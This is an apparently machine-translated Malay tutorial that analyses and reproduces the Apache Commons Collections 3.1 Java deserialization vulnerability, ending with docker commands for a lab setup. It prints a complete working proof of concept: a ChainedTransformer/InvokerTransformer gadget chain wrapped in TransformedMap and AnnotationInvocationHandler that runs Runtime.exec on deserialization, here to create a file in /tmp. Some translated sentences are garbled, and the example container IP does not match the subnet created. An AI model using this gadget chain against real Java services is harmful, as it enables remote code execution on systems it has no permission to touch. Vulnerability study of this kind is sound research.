Lengkapkan analisis keadaan perlombongan kerentanan dan pembiakan kelemahan.
Versi dengan kelemahan keselamatan: Apache Commons Collections 3.2.1 atau ke bawah, [Versi JDK: 1.7.0_80] Apache Maven 3.6.3.
Kod teras POC:
package com.patrilic.vul;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class EvalObject {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"touch /tmp/CommonsCollections3.1"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);// transformerChain.transform(null);//创建Map并绑定transformerChainMap innerMap = new HashMap();innerMap.put("value", "value");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);// //触发漏洞// Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();// onlyElement.setValue("foobar");Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);//将ins序列化ByteArrayOutputStream exp = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(exp);oos.writeObject(ins);oos.flush();oos.close();//取出序列化的数据流进行反序列化,验证ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());ObjectInputStream ois = new ObjectInputStream(out);Object obj = (Object) ois.readObject();// }//}}}
Kelas pelaksanaan antara muka Transformer-InvokerTransformer(), yang boleh memanggil sebarang fungsi.
Untuk melaksanakan Runtime.getRuntime().exec(cmd), anda perlu memanggil transformer beberapa kali dan menggunakan hasil pulangan semasa sebagai maklumat input seterusnya.
Untuk memanggil Runtime.getRuntime(), pertimbangkan kelas ConstantTransformer, yang boleh terus menggunakan parameter input sebagai output.
ChainedTransformer Sebagai kelas pelaksanaan, untuk tatasusunan Transformer yang diterima, ia menggunakan kaedah transformasinya sendiri (parameter dimasukkan oleh pengguna) untuk memproses objek tatasusunan Transformer satu demi satu, dan menggunakan hasilnya sebagai input parameter untuk panggilan berulang seterusnya. Kaedah transform()nya boleh mencetuskan kelemahan.
Untuk mencari laluan penyahserikatan, iaitu, bacaan dalam data dinyahsiri dan dilaksanakan, kemudian cari laluan yang boleh mencetuskan kaedah .transform() objek ChainedTransformer secara terbalik.
Kelas HashMap boleh menyimpan data dalam bentuk pasangan kunci-nilai, dan kaedah put(kunci, nilai) boleh menyimpan data.
Fungsi kelas TransformedMap adalah untuk menyimpan pasangan nilai kunci dan menukarnya menjadi objek mengubah kaedah decorate() boleh mencipta pasangan nilai kunci, dan kaedah checkSetValue() akan mencetuskan this.valueTransformer. .transform() pernyataan. Cari dalam urutan terbalik untuk memanggil checkSetValue() [1] untuk menjadikan this.valueTransformer sebagai objek ChainedTransformer [2].
Untuk [2], kaedah statik decorate() kelas TransformedMap boleh mencapai matlamat.
Untuk [1], kaedahsetValuekelas AbstractInputCheckedMapDecorator kelas statik MapEntry akan melaksanakan this.parent.checkSetValue(value), maka this.parent hendaklah ditetapkan kepada objek TransformedMap [ 3] .
Untuk [3], analisis hadapan kod ini dalam POC:
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
Penyelidikan menunjukkan bahawa semasa proses pelaksanaan, objek TransformedMap diberikan kepada this.parent dalam kelas AbstractInputCheckedMapDecorator berkali-kali dan mengembalikan Objek Map.Entry hanya boleh melaksanakan kaedah setValue() dan mencetuskan kelemahan.
Untuk meningkatkan fleksibiliti, adalah perlu untuk mencari cara untuk mencetuskan kelemahan apabila memanggil kaedah penyahserikatan Oleh itu, pertimbangkan untuk mencari objek kelas yang memenuhi "override deserialization readObject() dan laksanakan setValue() daripada. Peta pembolehubah objek kelas." Pada masa yang sama, pembolehubah ini boleh dikawal dan diberikan data nilai utama." Kelas AnnotationInvocationHandler memenuhi keperluan ini [ia memanggil setValue() pada setiap entri pembolehubah ahli jenis Peta].
Fungsi Class.forName() adalah untuk memuatkan kelas.
Kemudian analisis semula untuk [1], analisis ke hadapan bagi kod teras dalam POC:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);……Object obj = (Object) ois.readObject();
Penyelidikan menunjukkan bahawa proses pelaksanaan akan melaksanakan kaedah setValue kelas statik MapEntry, dan kaedah entrySet akan dilaksanakan supaya objek this.parent=TransformedMap, sekali gus mencetuskan kelemahan.
Secara umum, idea pembinaan POC hadapan ialah: mula-mula bina objek ChainedTransformer, kemudian buat objek Map, kemudian gunakan contoh kelas TransformedMap untuk menyimpan objek ChainedTransformer ke objek kelas Map, dan kemudian dapatkan pengalaman melalui kaedah refleksi Contoh kelas AnnotationInvocationHandler yang dimulakan oleh objek kelas Map dan bersiri.
Muat turun imej docker yang dihasilkan, gunakan arahan berikut:
docker pull 296645429/apache-commons-collections-vulnerability-ubuntu:v1
Tetapkan LAN dan IP kontena, mulakan bekas, contoh:
(1) Sesuaikan rangkaian
docker network create --subnet=192.168.10.1/24 testnet
(2) Mulakan bekas docker
docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash
Dalam bekas [Apache-Commons-Collections], laksanakan arahan [java -jar commons-collections -3.1.jar ], kemudian fail [CommonsCollections3.1] dijana, seperti ditunjukkan di bawah.
Atas ialah kandungan terperinci Cara menganalisis dan menghasilkan semula kerentanan penyahserikatan Apache Commons Collections. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!